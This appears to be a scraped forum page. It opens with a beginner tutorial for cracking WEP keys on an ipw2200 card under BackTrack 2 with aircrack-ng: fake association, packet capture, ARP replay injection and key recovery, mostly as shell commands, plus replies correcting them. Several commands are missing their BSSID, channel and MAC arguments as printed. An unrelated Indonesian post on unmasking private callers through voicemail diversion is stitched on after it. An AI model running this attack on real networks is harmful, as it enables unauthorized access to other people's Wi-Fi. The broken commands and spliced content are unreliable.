Wireless setting for IPW 2200 Solution

Here's a quick guide for anyone trying to get injection working on an ipw2200 with BackTrack 2. This is intended for first-time aircrack-ng users, so it will only detail the most basic procedure. You can find more complicated guides with troubleshooting for some of the more complicated access points in other threads.

I will be demonstrating a simple WEP crack using ARP request replay. Please also read the newbie guide first so that you generally know what you are doing.

** This tutorial is for open authenticted networks only. Shared key authentication is more complicated. **

By the way: if you are very new to linux, selecting text in the terminal window (with the mouse) will automatically copy it, and clicking both mouse buttons at the same time will paste. You can stop any aircrack programs with ctrl+c. To see the history of the terminal window, you can scroll with shift+pageUp/pageDown.

BackTrack 2 supports ipw2200 injection out of the box, but there are some limitations. Injection is slightly more complex when using the ipw2200 as opposed to other cards - you have to use different interfaces to inject and monitor. You can only use the following aireplay-ng attacks with the ipw2200:
2 (--interactive)
3 (--arpreplay)
4 (--chopchop)

You will need the following information first. You can find access point details using: "iwlist eth1 scan" after you log into BackTrack.:
Access point bssid
Access point channel

==================

0. (optional) The aircrack-ng team has done such a great job lately that there have been 2 releases since BackTrack 2. So the first thing that you should do is update aircrack-ng to v0.9. You should start backtrack connected to a LAN so that you can download the updates.
wget http://download.aircrack-ng.org/aircrack-ng-0.9.tar.gz
tar -zxvf aircrack-ng-0.9.tar.gz
cd aircrack-ng-0.9
make
make install

1. Enable the rtap0 interface.
rmmod ipw2200
modprobe ipw2200 rtap_iface=1

2. Make a 'dummy' connection to the access point. You don't need to know the key at this stage - we just make up a fake one ("fakekey"). This step is required because of a limitation in the ipw2200 driver. ipw2200 must be in managed mode and connected to an access point before it will work with aireplay-ng.
iwconfig eth1 ap
iwconfig eth1 key s:fakekey
iwconfig eth1 mode managed

3. Bring up the interfaces:
ifconfig eth1 up
ifconfig rtap0 up

3a. Optional: at this point, you can type "iwconfig" to see if the dummy connection from step 2 has worked. The connection details will be listed beside the "eth1" interface.

4. Run airodump-ng to capture packets from your access point to dumpfile*.cap. You should always specify a channel with airodump, because otherwise it will try to scan through all channels, and that will break your injection attack.
airodump-ng --channel --bssid -w dumpfile rtap0

4a. After a few seconds in airodump-ng, you should notice that there are clients connected to the access point (they will be listed under "STATION"). Take note of the MAC address of one of the clients. You will use it in the next step.

5. Open another terminal window. Run an ARP replay attack. Note the commands at the end of the line ("-i rtap0 eth1") which tell aireplay-ng to listen on rtap0 and inject on eth1. After some time, an ARP packet will come through and the #/s figure in the airodump-ng window will increase. If the RXQ (receive quality %) column is >90 then you should be getting #/s of 200 or higher, but more importantly, it should be much higher than what it was before.
aireplay-ng --arpreplay -b -h -i rtap0 eth1

6. Wait a few minutes until the #Data reaches 100 000 (if you updated in step 0), or 1 000 000 (if you did not update in step 0). This should be more than enough, but we leave the attack running just in case.

7. Open another terminal window and run aircrack-ng.
If you did not update aircrack-ng in step 0, you will need 1 000 000 IVs, and will have to run aircrack-ng without -z:
aircrack-ng -b dumpfile*.cap
If you did update in step 0, you can use the PTW attack (-z option). Aircrack should say that it is processing approx. 100 000 IVs. If this number is low (less than 1000), there is some problem with your injection attack. Aircrack will then display "Key Found". You should know what to do after that.
aircrack-ng -z -b dumpfile*.cap

You should now have the key.

==================


Thanks that worked..

However...my problem now is with

aircrack-ng -z -b dumpfile*.cap

It doesn't allow option z
tells me it doesn't exist

oh well...

thanks for all the help!

-k

--------------


Hi,

I think you still have some problems with these lines:
modprobe ipw2200 rtap_iface= 2
modprobe ipw rtap_iface= 1

You only need the second line, and it looks like you have a space between = and 1. It should be like this:
modprobe ipw2200 rtap_iface=1

Also, you don't actually need these:
cd /root
cd /pentest/wireless/aircrack-ng
Aircrack-ng is in the path, so you don't need to be in that directory to run it. You can run it from anywhere.


See how you go with these commands.


------------------

Yes, I think it will work if the authentication method of the AP is set to 'open' - step 2 actually authenticates with the AP, but any data that is sent/received would be scrambled because you have enetered the wrong key. With shared authentication, it would probably not work because you need the key before you can authenticate with the AP.

The developers may be able to confirm if using the linux wireless tools is the same as using fake authentication against an open-authentication network.
Does anyone know if this:
iwconfig ath0 bssid
iwconfig ath0 essid
iwconfig ath0 key s:fakekey
will achieve the same result as this:
aireplay-ng --fakeauth 0 -e -a -h ath0

-----------------------

Write & take :
Yudhax

Menampilkan private Number

Sehubungan dengan banyaknya pertanyaan yang masuk baik di milis maupun melalui pesan pribadi, jadi alangkah baiknya jika saya berikan saja sedikit "tutorial" agar tidak terdapat pertanyaan yang berulang - ulang, khususnya dalam masalah ini yaitu bagaimana menampilkan nomer private number penelpon yang masuk ke kita.

CARA PERTAMA:
Ketikkan kode *#30# dan tekan OK, maka di layar akan muncul tulisan " nomer penelpon ditampilkan" atau biasanya tergantung dari tipe hp masing - masing. Untuk kode ini sayangnya tidak didukung oleh operator di Indonesia, jadi ini hanya sebagai bahan pengetahuan saja. kapan yah di Indonesia operatornya bisa?

CARA KEDUA
Mendivert semua panggilan tidak dikenal. Pada setiap hp ada fasilitas divert/ pengalihan ini, nah pada malam hari jika memaksa tetap mengaktifkan hp dan biasanya ada orang iseng gunakan fasilitas divert ini, caranya alihkan semua panggilan tidak dikenal (yang tidak tercantum di phonebook) ke kotak mailbox, jadi setiap panggilan masuk yang nomernya hidden bakalan masuk ke mailbox dan nanti kita akan mendapatkan sms bahwa pemanggil dengan nomer 08xxxxxxxx telah menghubungi anda. Lihat record dari nomer tersebut sapa saja yang menelpon. Khusus untuk Exelcom,Indosat dan Kartu Halo biasanya bisa.

CARA KETIGA
Di saat anda tahu ada orang iseng dengan menelpon berulang - ulang menggunakan private number, sebaiknya setelah panggilan ketiga kalinya, matikan hp anda sampai beberapa waktu,tujuannya agar penelpon kena pulsa,hehehe. Maksudnya supaya dia masuk ke kotak mailbox juga, nah seperti cara kedua, maka saat kita menghidupkan hp kita nomer penelpon akan diberikan oleh operator kita. Misalnya jika kita menggunakan Exelcom, maka smsnya akan datang dari 818 dengan isi " anda telah dihubungi oleh 081xxxxxxx pada 23:15 dst...". Saya rasa ini adalah cara paling ampuh secara tradisional yang bisa diterapkan di Indonesia.

CARA KEEMPAT
Saat anda tahu ada penelpon iseng dengan menggunakan private number, maka gunakan hp anda untuk menelpon, nah maka saat dia mencoba menelpon anda di tempat si penelpon iseng tersebut akan masuk ke mailbox karena nada sibuk. Untuk mengetahui nomernya si penelpon biasanya anda mendapatkan sms seperti yang saya jelaskan di cara ketiga di atas.

CARA KELIMA
Reject telpon anda dengan menekan tombol bergambar telpon warna merah (tombol off) dan biarkan si penelpon masuk ke mailbox. Sayangnya cara ini tidak selalu bisa, karena dianggap kita sengaja menolak setelah mengetaui penelponnya, tapi untuk malam hari kebanyakan cara ini akan menggiring penelpon ke kotak mailbox kita sehingga sekali lagi kita akan mendapat sms seperti sebelumnya.

Untuk pembuktian semua cara ini, silahkan lakukan sendiri terlebih dahulu untuk meyakinkan anda. Jadi anda bisa memilih cara mana yangs ekiranya lebih didukung oleh hp anda dan operatornya. Cara ini mungkin masih sederhana, tapi saya harap bisa membantu anda yang sering diterror oleh penelpon iseng. Silahkan rekan - rekan lain menambahkan jika memiliki cara dan pengalaman berbeda seperti di atas.

bisa juga seperti ini:
PAKE SONY ERRICson langsng bisa ketauan sapa yg call walaupun dia pake PRIVATE NUMBER kena LOGnya. kalo HP laen tulisannya "Private number" tapi kalo SOny tulisannya Witheld. nah pas udah ada call yg masuk lu langsng call balik ketauan deh nomornya yg tlp lu barusan. avecasd.tripod.com